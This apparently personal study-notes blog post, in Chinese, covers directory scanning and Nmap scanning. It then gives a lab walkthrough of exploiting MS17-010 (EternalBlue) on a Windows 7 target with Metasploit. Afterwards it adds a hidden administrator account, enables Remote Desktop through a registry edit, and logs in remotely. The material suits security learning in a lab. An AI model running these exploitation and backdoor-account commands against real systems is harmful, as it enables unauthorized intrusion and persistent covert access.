(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)
一、定義
目錄掃描:掃描站點的目錄,尋找敏感文件(目錄名、探針文件、后台、robots.txt、備份文件)
- 目錄:站點結構,權限控制不嚴格(列目錄)
- 探針文件:服務器配置信息,phpinfo.php、readme.txt、config.txt
- 后台:登錄管理整個網站的入口,inurl:admin.php、inurl:admin.asp
- robots.txt:一般存放在站點根目錄,如果管理員對於robots.txt文件管理不合理,就會造成信息泄露
- 備份文件:數據庫備份文件、網站備份文件等 .bak .zip www.rar
二、掃描工具
1.御劍后台掃描工具:
2.DirBuster:需要依賴Java的配置環境
- 原理:使用字典,做請求
3.Nmap
三、Nmap
1.定義
Nmap:最早是Linux中的掃面和嗅探工具,網絡連接掃描工具,主要負責探測主機存活(是否開機)、開啟服務(掃端口)、安全性問題(高級用法//script)、系統類型(OS類型)
2.安裝Nmap需要配置環境變量
3.命令行模式的用法:
1 nmap -h 幫助信息 2 nmap 目標IP 掃描單個IP
- 狀態:
狀態 | 含義 |
open |
開啟 |
closed |
關閉 |
filtered |
數據包被過濾,探測包被攔截,無法定位端口 是否開啟 |
unfiltered |
數據包未過濾,探測包沒有被攔截, nmap無法判斷該端口是否開啟 |
open|filtered |
開放或者被過濾 |
closed|filtered |
關閉或者被過濾 |
nmap 192.168.211.0/24 掃描整個網段
- Nmap的用法
1 nmap 192.168.1.10-200 掃描指定網段的網絡 2 nmap 192,168.1.10,100,200-230 掃描10,100,200-230的網絡 3 nmap 192.168.1.0/24 10.10.10.0/24 掃描不同網段 4 nmap -iL filename 掃描目標文件 5 nmap -iR 隨機選擇目標去探測 6 nmap -sS -PS80 -iR 0(無休止去掃描) -p80 7 nmap 192.168.1.0/24 --exclude 192.168.1.1,255(廣播包),4-20 排除某些指定的IP去掃描 8 nmap -iL filename1 --excludefile filename2 其中filename1是需要掃描的,filename2不需要掃描
4.帶有參數的掃描:
nmap -sT 192.168.1.1 使用TCP全連接方式,掃描過程需要三次握手,和端口建立連接,建立連接,說明端口開放,但是掃描速度慢
1 nmap -sN 192.168.1.1 = nmap 192.168.1.1 NULL掃描,發出的數據包不設置任何的標識位 2 nmap -p3306,5432 192.168.1.1 掃描指定端口 3 nmap -p- = -p1-65535 掃描所有端口 4 nmap -sV 192.168.1.1 探測服務版本
1 nmap 192.168.1.1 >./re.txt 將掃描結果重定向到re.txt中 2 nmap 192.168.1.1 -oX ./Desktop/re.xml 將掃描結果寫進re.xml中
- 用瀏覽器打開re.xml,可以看到NMAP的掃描報告
nmap -A 192.168.1.1 獲取目標所有的詳細結構,全面掃描
nmap -O 192.168.1.1 探測操作系統類型
nmap --script 使用腳本去探測漏洞,后跟腳本
- Nmap自帶的腳本
1 nmap --script smb-vuln-ms17-010 192.168.1.1 探測永痕之藍 2 nmap --script smb-check-vulns 192.168.1.1 MS08-067,探測MSP的溢出漏洞 3 nmap --script ssl-heartbleed 192.168.1.1 探測心臟滴血
四、使用Nmap掃描kali服務器
1.查看kali服務器與宿主機的連通性
2.要使用Nmap掃描kali服務器,就要開啟kali中的WEB、SSH、PostgreSQL、MySQL、Samba、VSFTP服務
1 /etc/init.d/apache2 start 啟動HTTP服務 2 /etc/init.d/apache2 status 查看HTTP服務狀態
/etc/init.d/ssh status 查看SSH服務狀態
1 /etc/init.d/postgresql start 啟動PostgreSQL服務 2 /etc/init.d/postgresql status 查看PostgreSQL服務狀態
1 /etc/init.d/mysql start 啟動MySQL服務 2 /etc/init.d/mysql status 查看MySQL服務狀態
apt install samba 安裝Samba
1 /etc/init.d/smbd start 開啟Samba服務 2 /etc/init.d/smbd status 查看Samba服務狀態
apt install vsftpd 安裝Vsftp服務
1 /etc/init.d/ vsftpd start 開啟Vsftp服務 2 /etc/init.d/ vsftpd status 查看Vsftp服務狀態
netstat -ntulp|grep smbd 查看Smbd服務的端口狀態 netstat -ntulp|grep 3306 查看MySQL服務的端口狀態 netstat -ntulp|grep 5432 查看PostgreSQL服務的端口狀態
3.使用Nmap掃描kali服務器
1 nmap kali服務器的IP 掃描kali服務器 2 nmap -p5432 kali服務器的IP 掃描5432端口信息,即PostgreSQL服務信息 3 nmap -p3306 kali服務器的IP 掃描3306端口信息,即MySQL服務信息
- 下圖可以看到,掃描結果顯示5432端口和3306端口是關閉狀態,因為MySQL不允許外聯
五、使用kali中的Metasploit通過MS17-010永痕之藍獲取系統權限
攻擊者:kali服務器
靶機:Windows 7 系統
1.關閉Win7系統中的防火牆,並查看攻擊者與靶機的連通性
2.查看kali中是否有smb-vuln-ms17-010.nse的腳本,開啟kali中的postgresql數據庫並使用nmap --script參數調用smb-vuln-ms17-010.nse腳本檢測MS17-010漏洞
1 whereis nmap 查找Nmap的位置 2 cd /usr/share/nmap 進入Nmap 3 cd scripts/ 進入Nmap存放腳本的文件 4 find . -name /*smb*/ 查找永痕之藍
-
/usr/bin 里面裝着二進制文件 相當於快捷方式
- vulnerable表示有漏洞,受威脅,Risk factor: High表示風險高;not vulnerable無漏洞
- 這里檢測出了ms17-010漏洞
3.這里先介紹幾個在Metasploit中經常會用到的工具
1 cd /usr/share/metasploit-framework 2 cd modules
- auxiliary:輔助模塊
- encoders:供Msfencode編碼工具使用,具體可使用msfencode -l
- exploits:攻擊模塊,每個介紹msf的文章都會提到那個ms08_067_netapi,它就在這個目錄
- payloads:這里面列出的是攻擊載荷,也就是攻擊成功后執行的代碼。比如我們常設置的windows/meterpreter/reverse_tcp就在這個文件夾下。
- post:后滲透階段模塊,在獲得meterpreter的shell之后可以使用的攻擊代碼。比如常用的hashdump,arp_scanner就在這里
(常用工具知識點出自CSDN博主「the__apollo」,原文鏈接:https://blog.csdn.net/the__apollo/article/details/70475962十分詳細,感謝!)
4.在上面使用Nmap時檢測出了ms17-010漏洞,開啟Metasploit並使用Metasploit查找滲透模塊
1 Metasploit 開啟Msf 2 search 17-010 搜索cve(漏洞編號前綴)17-010相關的EXP(漏洞利用腳本)
-
auxiliary/scanner/smb/smb_ms17_010 scanner和nmap一樣:掃描漏洞是否存在
- exploit/windows/smb/ms17_010_eternalblue 用來做攻擊的EXP
5.探測漏洞是否存在
1 use auxiliary/scanner/smb/smb_ms17_010 探測漏洞是否存在 2 show options 查看所需設置的參數
6.上圖可以看到RHOST(遠程IP地址)還沒有設置,設置遠程地址,並運行攻擊測試
1 set rhosts 192.168.1.0/24 設置遠程IP為靶機的整個網段 2 run 運行攻擊測試
- 下圖可以看到,在掃描的全部網段中,可探測到目標IP存在漏洞
7.使用攻擊模塊,設置遠程地址,並運行攻擊測試
8.攻擊成功,進行測試,並在靶機里加入一個隱藏用戶(隱藏用戶后面加$),提升隱藏用戶的權限,方便我們后續的操作測試
1 net user host$ host$的密碼 /add 添加隱藏用戶host$ 2 net localgroup administrators host$ /add 將host$用戶加入到管理員組中,從而提升權限 3 net user host$ 查看host$用戶信息
9.查看Windows遠程桌面的服務端口是否開啟
1 netstat -ano|findstr 3389 查看遠程桌面端口狀態 2 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 開啟終端服務 3 net user administrator /active:yes 激活管理員用戶
10.新開一個終端,使用遠程桌面連接的靶機,進行操作
1 rdesktop 靶機的IP 使用遠程桌面連接靶機
- 連接靶機,連接成功,進入以下界面,是用隱藏用戶登錄靶機,攻擊成功!!!